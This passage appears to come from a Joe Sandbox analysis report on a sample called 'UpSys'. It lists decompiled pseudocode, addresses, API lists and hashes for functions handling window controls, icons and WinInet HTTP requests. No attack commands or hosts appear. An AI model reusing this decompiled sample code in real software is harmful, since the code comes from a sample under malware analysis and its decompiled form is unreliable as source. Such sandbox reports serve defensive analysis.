				 *((intOrPtr*)(_t134 + 0x38)) =  *((intOrPtr*)(_t134 + 0x2100));
				 *((intOrPtr*)(_t134 + 0x30)) =  *((intOrPtr*)(_t134 + 0x20f8));
				 *((intOrPtr*)(_t134 + 0x28)) = r11d;
				 *((long long*)(_t134 + 0x20)) = 0x4009b6c0;
				E0000000114003D230(_t56 - (( ==  ? _t156 + 0xd : _t79) | 0xffffffff), _t109, __rdx, L"SysListView32");
				 *_t127 = 0x4009b6c0;
				if (0x4009b6c0 != _t154) goto 0x4005eccb;
				goto 0x4005ee24;
				r13d = 0x1036;
				if (sil == r14b) goto 0x4005ecef;
				SendMessageW(_t156, _t154);
				r8d = 0;
				SendMessageW(_t152, _t149);
				if ( *((intOrPtr*)(_t150 + 0x290)) == _t154) goto 0x4005ed2e;
				 *((intOrPtr*)(_t134 + 0x30)) = 0x13;
				r9d = 0;
				r8d = 0;
				 *((intOrPtr*)(_t134 + 0x28)) = r14d;
				 *((intOrPtr*)(_t134 + 0x20)) = r14d;
				SetWindowPos(_t126, ??, ??, ??, ??, ??);
				 *((intOrPtr*)(_t134 + 0x70)) = 0xf;
				 *((intOrPtr*)(_t134 + 0x74)) = r14d;
				 *((long long*)(_t134 + 0x80)) = _t134 + 0xa0;
				 *((long long*)(_t134 + 0x20e0)) =  *((intOrPtr*)(_t134 + 0x20f0));
				_t65 = E0000000114003D760( ==  ? r8d : _t77, __esp,  *((intOrPtr*)(_t150 + 0x290)) - _t154,  *((intOrPtr*)(_t134 + 0x20f0)), _t109, _t134 + 0xa0, __rsi, _t131, _t134 + 0x20e0, 0x400c6a14);
				if (0 == r14b) goto 0x4005edff;
				E00000001140016A44(_t65, _t134 + 0xa0);
				E00000001140016E20(_t134 + 0xa0, L"-----");
				r8d = 0;
				_t68 = SendMessageW(??, ??, ??, ??);
				_t69 =  >  ? 0x96 : _t68;
				_t91 = r15d + r15d;
				 *((intOrPtr*)(_t134 + 0x78)) =  >  ? 0x96 : _t68;
				 *((intOrPtr*)(_t134 + 0xa0 + (_t75 | 0x00000010) * 2)) = r14w;
				 *((intOrPtr*)(_t134 + 0x8c)) = _t91;
				_t70 = SendMessageW(??, ??, ??, ??);
				goto 0x4005ed60;
				 *((short*)(_t127 + 0xf8)) = _t91;
				 *((short*)(_t127 + 0xfa)) = _t70 | 0xffffffff;
				_t103 =  *0x400c6a08 - r14d; // 0x0
				if (_t103 != 0) goto 0x4005ee21;
				 *((intOrPtr*)(_t127 + 0xea)) = r15w;
				return r15b;
			}























                                                                                                                                                                                                        0x14005ebc0
                                                                                                                                                                                                        0x14005ebc0
                                                                                                                                                                                                        0x14005ebc5
                                                                                                                                                                                                        0x14005ebca
                                                                                                                                                                                                        0x14005ebdd
                                                                                                                                                                                                        0x14005ebe2
                                                                                                                                                                                                        0x14005ebe5
                                                                                                                                                                                                        0x14005ebe8
                                                                                                                                                                                                        0x14005ebef
                                                                                                                                                                                                        0x14005ebf7
                                                                                                                                                                                                        0x14005ebfd
                                                                                                                                                                                                        0x14005ec07
                                                                                                                                                                                                        0x14005ec0a
                                                                                                                                                                                                        0x14005ec10
                                                                                                                                                                                                        0x14005ec16
                                                                                                                                                                                                        0x14005ec28
                                                                                                                                                                                                        0x14005ec30
                                                                                                                                                                                                        0x14005ec33
                                                                                                                                                                                                        0x14005ec3a
                                                                                                                                                                                                        0x14005ec3c
                                                                                                                                                                                                        0x14005ec3f
                                                                                                                                                                                                        0x14005ec42
                                                                                                                                                                                                        0x14005ec49
                                                                                                                                                                                                        0x14005ec50
                                                                                                                                                                                                        0x14005ec55
                                                                                                                                                                                                        0x14005ec5a
                                                                                                                                                                                                        0x14005ec64
                                                                                                                                                                                                        0x14005ec71
                                                                                                                                                                                                        0x14005ec7a
                                                                                                                                                                                                        0x14005ec7e
                                                                                                                                                                                                        0x14005ec81
                                                                                                                                                                                                        0x14005ec8c
                                                                                                                                                                                                        0x14005ec90
                                                                                                                                                                                                        0x14005eca2
                                                                                                                                                                                                        0x14005ecad
                                                                                                                                                                                                        0x14005ecb2
                                                                                                                                                                                                        0x14005ecb7
                                                                                                                                                                                                        0x14005ecbc
                                                                                                                                                                                                        0x14005ecc2
                                                                                                                                                                                                        0x14005ecc6
                                                                                                                                                                                                        0x14005eccb
                                                                                                                                                                                                        0x14005ecd4
                                                                                                                                                                                                        0x14005ece7
                                                                                                                                                                                                        0x14005ecf5
                                                                                                                                                                                                        0x14005ecfb
                                                                                                                                                                                                        0x14005ed09
                                                                                                                                                                                                        0x14005ed0e
                                                                                                                                                                                                        0x14005ed16
                                                                                                                                                                                                        0x14005ed19
                                                                                                                                                                                                        0x14005ed1e
                                                                                                                                                                                                        0x14005ed23
                                                                                                                                                                                                        0x14005ed28
                                                                                                                                                                                                        0x14005ed36
                                                                                                                                                                                                        0x14005ed3e
                                                                                                                                                                                                        0x14005ed43
                                                                                                                                                                                                        0x14005ed58
                                                                                                                                                                                                        0x14005ed7e
                                                                                                                                                                                                        0x14005ed86
                                                                                                                                                                                                        0x14005ed90
                                                                                                                                                                                                        0x14005eda7
                                                                                                                                                                                                        0x14005edb7
                                                                                                                                                                                                        0x14005edbf
                                                                                                                                                                                                        0x14005edd4
                                                                                                                                                                                                        0x14005edd7
                                                                                                                                                                                                        0x14005edda
                                                                                                                                                                                                        0x14005ede4
                                                                                                                                                                                                        0x14005eded
                                                                                                                                                                                                        0x14005edf4
                                                                                                                                                                                                        0x14005edfa
                                                                                                                                                                                                        0x14005ee02
                                                                                                                                                                                                        0x14005ee09
                                                                                                                                                                                                        0x14005ee10
                                                                                                                                                                                                        0x14005ee17
                                                                                                                                                                                                        0x14005ee19
                                                                                                                                                                                                        0x14005ee44

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$Window
                                                                                                                                                                                                        • String ID: -----$SysListView32
                                                                                                                                                                                                        • API String ID: 2326795674-3975388722
                                                                                                                                                                                                        • Opcode ID: 6f1d61fee77d1bb7ebeb962e71d8973a41b4bc7f8017fe4ebb96f17fc18730fd
                                                                                                                                                                                                        • Instruction ID: 19da188939a388fc62c8b5920f55a317f59d2aa8f1d2ade35372ac168369b2ac
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 6f1d61fee77d1bb7ebeb962e71d8973a41b4bc7f8017fe4ebb96f17fc18730fd
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 1461BF72214BC58AE721CF26E4847CBB7A1F7887C0F904525FB9A53BA8DB39C591CB40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140057370 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 132windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$Long$MessageSendShow
                                                                                                                                                                                                        • String ID: '
                                                                                                                                                                                                        • API String ID: 3688381893-1997036262
                                                                                                                                                                                                        • Opcode ID: 59e83a174748fd3379bd6b9cbd17bd06dec36a58c92d93456a4837c6a38c9fea
                                                                                                                                                                                                        • Instruction ID: e82de454346b7d9ec60e8e2013dd61f8057bf41e51719b081d95ea097199da23
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 59e83a174748fd3379bd6b9cbd17bd06dec36a58c92d93456a4837c6a38c9fea
                                                                                                                                                                                                        • Instruction Fuzzy Hash: FC51C232204A4082E726DB2BB458FEA2B61F389BD4F544111EF5E437B5CB3AC942EB05
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400587C0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 125networkCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 20%
                                                                                                                                                                                                        			E000000011400587C0(void* __ecx, void* __edi, long long __rax, long long __rbx, long long* __rcx, void* __rdx, void* __r11) {
				void* _t48;
				void* _t52;
				signed int _t67;
				void* _t72;
				signed int _t78;
				long long* _t80;
				void* _t102;
				long long _t103;
				void* _t105;
				void* _t107;
				void* _t110;
				void* _t111;
				void* _t122;
				void* _t123;
				void* _t125;

				_t122 = __r11;
				_t77 = __rax;
				 *((long long*)(_t110 + 0x18)) = __rbx;
				_t111 = _t110 - 0x70;
				_t67 =  *(__rcx + 0x90);
				r13b = r9b;
				r12b = r8b;
				_t80 = __rcx;
				if ( *((intOrPtr*)(__rdx + 0xe4)) != 4) goto 0x400587ef;
				asm("bts esi, 0x17");
				 *(_t111 + 0x38) =  *(_t111 + 0x38) & 0x00000000;
				r8d =  *(__rdx + 0xe8) & 0x0000ffff;
				 *(_t111 + 0x30) =  *(_t111 + 0x30) & 0x00000000;
				 *(_t111 + 0x28) =  *(__rdx + 0xe0);
				 *(_t111 + 0x20) =  *((intOrPtr*)(__rdx + 0x60));
				__imp__InternetConnectW(_t123, _t102, _t105, _t107);
				 *__rcx = __rax;
				if (__rax != 0) goto 0x40058848;
				_t16 = _t77 + 0xb; // 0xb
				r9d = 0;
				r8d = 0xdeadbeef;
				E0000000114004EA00(_t16, __rcx, __rcx);
				goto 0x400589ad;
				 *(_t111 + 0x38) =  *(_t111 + 0x38) & 0x00000000;
				 *(_t111 + 0x30) = _t67;
				 *(_t111 + 0x28) =  *(_t111 + 0x28) & 0x00000000;
				 *(_t111 + 0x20) =  *(_t111 + 0x20) & 0x00000000;
				r9d = 0;
				__imp__HttpOpenRequestW();
				 *((long long*)(_t111 + 0x48)) = __imp__InternetCloseHandle;
				_t103 = __rax;
				 *((long long*)(_t111 + 0x40)) = __rax;
				if (__rax != 0) goto 0x40058894;
				goto 0x4005898e;
				_t72 = r12b;
				if (_t72 == 0) goto 0x400588a7;
				_t48 = E0000000114004EC50(_t80, _t80, __rax, __rdx);
				asm("bt esi, 0xc");
				if (_t72 >= 0) goto 0x400588f8;
				 *((intOrPtr*)(_t111 + 0xa8)) = 4;
				__imp__InternetQueryOptionW();
				asm("bts dword [esp+0xa0], 0x8");
				_t31 = _t105 - 0x1b; // 0x4
				r9d = _t31;
				__imp__InternetSetOptionW();
				 *(_t111 + 0x20) =  *(_t111 + 0x20) & 0x00000000;
				r9d = 0;
				r8d = 0;
				__imp__HttpSendRequestW();
				if (_t48 == 0) goto 0x40058989;
				if (E0000000114003E8D0(_t48, __ecx, _t103, _t125) != 0xc8) goto 0x40058989;
				 *(_t111 + 0xa0) =  *(_t111 + 0xa0) & 0x00000000;
				_t78 = _t111 + 0xa0;
				 *(_t111 + 0x20) = _t78;
				 *((intOrPtr*)(_t111 + 0xa8)) = 0x20;
				__imp__HttpQueryInfoW();
				E000000011400177D0(__ecx, E0000000114003E8D0(_t48, __ecx, _t103, _t125) - 0xc8, _t78, _t103, _t122);
				 *(_t80 + 0x18) = _t78;
				if (r13b == 0) goto 0x4005897f;
				E0000000114004EC30(__edi, _t80);
				goto 0x4005899f;
				r8d = 0;
				r9b = 1;
				goto 0x4005899a;
				r8d = 0xdeadbeef;
				r9d = 0;
				_t52 = E0000000114004EA00(0xd, _t80, _t80);
				E0000000114003E820(_t111 + 0x40);
				return _t52;
			}


















                                                                                                                                                                                                        0x1400587c0
                                                                                                                                                                                                        0x1400587c0
                                                                                                                                                                                                        0x1400587c0
                                                                                                                                                                                                        0x1400587cc
                                                                                                                                                                                                        0x1400587d7
                                                                                                                                                                                                        0x1400587dd
                                                                                                                                                                                                        0x1400587e0
                                                                                                                                                                                                        0x1400587e6
                                                                                                                                                                                                        0x1400587e9
                                                                                                                                                                                                        0x1400587eb
                                                                                                                                                                                                        0x1400587f9
                                                                                                                                                                                                        0x140058803
                                                                                                                                                                                                        0x14005880b
                                                                                                                                                                                                        0x140058818
                                                                                                                                                                                                        0x14005881c
                                                                                                                                                                                                        0x140058821
                                                                                                                                                                                                        0x140058827
                                                                                                                                                                                                        0x14005882d
                                                                                                                                                                                                        0x14005882f
                                                                                                                                                                                                        0x140058832
                                                                                                                                                                                                        0x140058835
                                                                                                                                                                                                        0x14005883e
                                                                                                                                                                                                        0x140058843
                                                                                                                                                                                                        0x140058848
                                                                                                                                                                                                        0x140058855
                                                                                                                                                                                                        0x140058859
                                                                                                                                                                                                        0x14005885f
                                                                                                                                                                                                        0x140058865
                                                                                                                                                                                                        0x14005886d
                                                                                                                                                                                                        0x14005887a
                                                                                                                                                                                                        0x14005887f
                                                                                                                                                                                                        0x140058882
                                                                                                                                                                                                        0x14005888a
                                                                                                                                                                                                        0x14005888f
                                                                                                                                                                                                        0x140058894
                                                                                                                                                                                                        0x140058897
                                                                                                                                                                                                        0x1400588a2
                                                                                                                                                                                                        0x1400588a7
                                                                                                                                                                                                        0x1400588ab
                                                                                                                                                                                                        0x1400588c7
                                                                                                                                                                                                        0x1400588d2
                                                                                                                                                                                                        0x1400588d8
                                                                                                                                                                                                        0x1400588e1
                                                                                                                                                                                                        0x1400588e1
                                                                                                                                                                                                        0x1400588f2
                                                                                                                                                                                                        0x1400588f8
                                                                                                                                                                                                        0x1400588fd
                                                                                                                                                                                                        0x140058900
                                                                                                                                                                                                        0x140058908
                                                                                                                                                                                                        0x140058910
                                                                                                                                                                                                        0x140058922
                                                                                                                                                                                                        0x140058924
                                                                                                                                                                                                        0x14005892c
                                                                                                                                                                                                        0x140058949
                                                                                                                                                                                                        0x14005894e
                                                                                                                                                                                                        0x140058959
                                                                                                                                                                                                        0x140058964
                                                                                                                                                                                                        0x14005896c
                                                                                                                                                                                                        0x140058973
                                                                                                                                                                                                        0x140058978
                                                                                                                                                                                                        0x14005897d
                                                                                                                                                                                                        0x14005897f
                                                                                                                                                                                                        0x140058982
                                                                                                                                                                                                        0x140058987
                                                                                                                                                                                                        0x140058991
                                                                                                                                                                                                        0x140058997
                                                                                                                                                                                                        0x14005899a
                                                                                                                                                                                                        0x1400589a6
                                                                                                                                                                                                        0x1400589c0

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: HttpInternet$OptionQueryRequest$ConnectErrorInfoLastOpenSend
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1291720006-3916222277
                                                                                                                                                                                                        • Opcode ID: 7c2e67bad0ab0cbed232d0ba376e5c2fbb85c80174faa0734abfc7d194bd7250
                                                                                                                                                                                                        • Instruction ID: d075a4de0a5644b59ab136d37b7a237f46fac7bd05d67729daa3fa5d7989ddc7
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 7c2e67bad0ab0cbed232d0ba376e5c2fbb85c80174faa0734abfc7d194bd7250
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 84519F33614A8586EB71CB12E444BEAB3A1F78DBC8F584426EF8907B64DF39C449CB41
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014004D4E0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$Long$MetricsSystem
                                                                                                                                                                                                        • String ID: G
                                                                                                                                                                                                        • API String ID: 2294984445-985283518
                                                                                                                                                                                                        • Opcode ID: 564356a2b62a313ab7002e557c5d4dd18954d05125789a11b5317e5ef6e759bc
                                                                                                                                                                                                        • Instruction ID: d95883eb25e8ad3b6b420e3c692a847df3f1e90e5a9618e96106a26aaf7a9b0a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 564356a2b62a313ab7002e557c5d4dd18954d05125789a11b5317e5ef6e759bc
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 05319272610E4096E7568F3BA4447A933A0A78CBE8F194626BF2A537F5DF38C441CB44
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140041900 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 70windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 60%
                                                                                                                                                                                                        			E00000001140041900(void* __edx, long long __rbx, void* __rcx, long long __rbp, intOrPtr* __r8, char* __r9, long long _a8, long long _a16, long long _a24) {
				char _v40;
				int _t16;
				char* _t51;
				long long _t60;

				_a8 = __rbx;
				_a16 = __rbp;
				r12d = 0;
				_t51 = __r9;
				 *((intOrPtr*)(__r9)) = r12b;
				_a24 = _t60;
				if ( *__r8 == r12w) goto 0x400419f1;
				if (E00000001140016D8C(_t60, __r8, L"blank") != r12d) goto 0x40041955;
				goto 0x400419f1;
				if (E00000001140016D8C( *((intOrPtr*)(__rcx + 0x320)), __r8, L"info") != r12d) goto 0x40041970;
				goto 0x400419bf;
				if (E00000001140016D8C( *((intOrPtr*)(__rcx + 0x320)), __r8, L"question") != r12d) goto 0x4004198b;
				goto 0x400419bf;
				if (E00000001140016D8C( *((intOrPtr*)(__rcx + 0x320)), __r8, L"stop") != r12d) goto 0x400419a6;
				goto 0x400419bf;
				if (E00000001140016D8C( *((intOrPtr*)(__rcx + 0x320)), __r8, L"warning") != r12d) goto 0x400419c9;
				LoadIconW(??, ??);
				goto 0x400419f1;
				r8d = 0;
				_v40 = 1;
				_t16 = ExtractIconExW(??, ??, ??, ??, ??);
				if (_a24 == _t60) goto 0x400419f1;
				 *_t51 = 1;
				return _t16;
			}







                                                                                                                                                                                                        0x140041900
                                                                                                                                                                                                        0x140041905
                                                                                                                                                                                                        0x140041912
                                                                                                                                                                                                        0x140041915
                                                                                                                                                                                                        0x14004191e
                                                                                                                                                                                                        0x140041923
                                                                                                                                                                                                        0x14004192f
                                                                                                                                                                                                        0x140041947
                                                                                                                                                                                                        0x140041950
                                                                                                                                                                                                        0x140041967
                                                                                                                                                                                                        0x14004196e
                                                                                                                                                                                                        0x140041982
                                                                                                                                                                                                        0x140041989
                                                                                                                                                                                                        0x14004199d
                                                                                                                                                                                                        0x1400419a4
                                                                                                                                                                                                        0x1400419b8
                                                                                                                                                                                                        0x1400419c1
                                                                                                                                                                                                        0x1400419c7
                                                                                                                                                                                                        0x1400419ce
                                                                                                                                                                                                        0x1400419d6
                                                                                                                                                                                                        0x1400419de
                                                                                                                                                                                                        0x1400419ec
                                                                                                                                                                                                        0x1400419ee
                                                                                                                                                                                                        0x140041a03

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: IconLoad_errno
                                                                                                                                                                                                        • String ID: blank$info$question$stop$warning
                                                                                                                                                                                                        • API String ID: 2916566271-404129466
                                                                                                                                                                                                        • Opcode ID: 3b8170cab66fd8a6a71d474a7c951c4ea7b8c35d933097c2ba93c3a5a4b39469
                                                                                                                                                                                                        • Instruction ID: a24180ba6ec9afa865838d730209fffc08806b5f402158b813de0cdd2f640516
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3b8170cab66fd8a6a71d474a7c951c4ea7b8c35d933097c2ba93c3a5a4b39469
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 3121AC3260879092EA229B27F8247E96262B38C7C0F654032FF8A473B6DB7DDC45C244
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014004D610 Relevance: 12.1, APIs: 8, Instructions: 120COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 21%
                                                                                                                                                                                                        			E0000000114004D610(void* __ecx, void* __edx, void* __rax, long long __rbx, long long __rsi, void* __rbp, void* __r8, long long _a8, long long _a16) {
				void* _t22;
				signed int _t24;
				void* _t37;
				void* _t58;
				void* _t62;
				void* _t68;
				intOrPtr _t73;
				intOrPtr _t91;
				intOrPtr* _t93;

				_t97 = __rbp;
				_t74 = __rbx;
				_a8 = __rbx;
				_a16 = __rsi;
				_t37 = __edx;
				if (__r8 == 0) goto 0x4004d63d;
				 *0x400c6ab8 = E0000000114003DD90(_t22, __rax, __rbx, 0x400c6a00, __r8);
				goto 0x4004d643;
				_t24 =  *0x400c6ab8; // 0xffffffff
				if (_t24 == 0xffffffff) goto 0x4004d7b9;
				_t73 =  *0x400c6aa0; // 0x0
				_t93 =  *((intOrPtr*)( *((intOrPtr*)(_t73 + _t24 * 8))));
				_t95 =  *_t93;
				if ( *((char*)(_t93 + 0x6a)) == 0) goto 0x4004d699;
				 *((char*)(_t93 + 0x6a)) = 0;
				if ( *((intOrPtr*)(_t93 + 0x298)) < 0) goto 0x4004d699;
				if ( *((char*)(_t93 + 0x2a4)) == 0) goto 0x4004d699;
				r8d =  *((intOrPtr*)(_t93 + 0x2a0));
				E0000000114004CC30();
				 *((char*)(_t93 + 0x2a4)) = 0;
				_t58 = _t37 - 8;
				if (_t58 > 0) goto 0x4004d733;
				if (_t58 == 0) goto 0x4004d6ff;
				if (_t37 == 0) goto 0x4004d6e6;
				if (_t37 == 1) goto 0x4004d6ff;
				if (_t37 == 2) goto 0x4004d6cd;
				_t62 = _t37 - 3;
				if (_t62 == 0) goto 0x4004d794;
				if (_t62 <= 0) goto 0x4004d6f5;
				if (_t37 - 5 <= 0) goto 0x4004d6ff;
				if (_t37 == 6) goto 0x4004d6d1;
				goto 0x4004d6f5;
				 *((char*)(_t93 + 0x68)) = 1;
				if ( *((char*)(_t93 + 0x68)) == 0) goto 0x4004d7b9;
				ShowWindow(??, ??);
				goto 0x4004d6f5;
				ShowWindow(??, ??);
				 *((char*)(_t93 + 0x68)) = 0;
				goto 0x4004d7bb;
				if ( *((char*)(_t93 + 0x68)) != 0) goto 0x4004d7b9;
				ShowWindow(??, ??);
				if (_t37 == 8) goto 0x4004d72d;
				_t68 = _t37 - 4;
				if (_t68 == 0) goto 0x4004d72d;
				_t91 =  *_t93;
				E00000001140041BD0(_t73, _t74, _t91,  *_t93, __rbp);
				 *((char*)(_t93 + 0x68)) = 1;
				goto 0x4004d6f5;
				if (_t68 == 0) goto 0x4004d794;
				if (_t68 == 0) goto 0x4004d78d;
				if (_t68 == 0) goto 0x4004d77d;
				if (_t68 == 0) goto 0x4004d76b;
				if (_t37 - 0xffffffffffffffd0 != 1) goto 0x4004d6f5;
				 *((char*)(_t93 + 0x69)) = 0;
				LockWindowUpdate(??);
				_t17 = _t91 + 1; // 0x1
				r8d = _t17;
				InvalidateRect(??, ??, ??);
				goto 0x4004d6f5;
				 *((char*)(_t93 + 0x69)) = 1;
				LockWindowUpdate(??);
				goto 0x4004d6f5;
				EnableWindow(??, ??);
				goto 0x4004d6f5;
				goto 0x4004d77f;
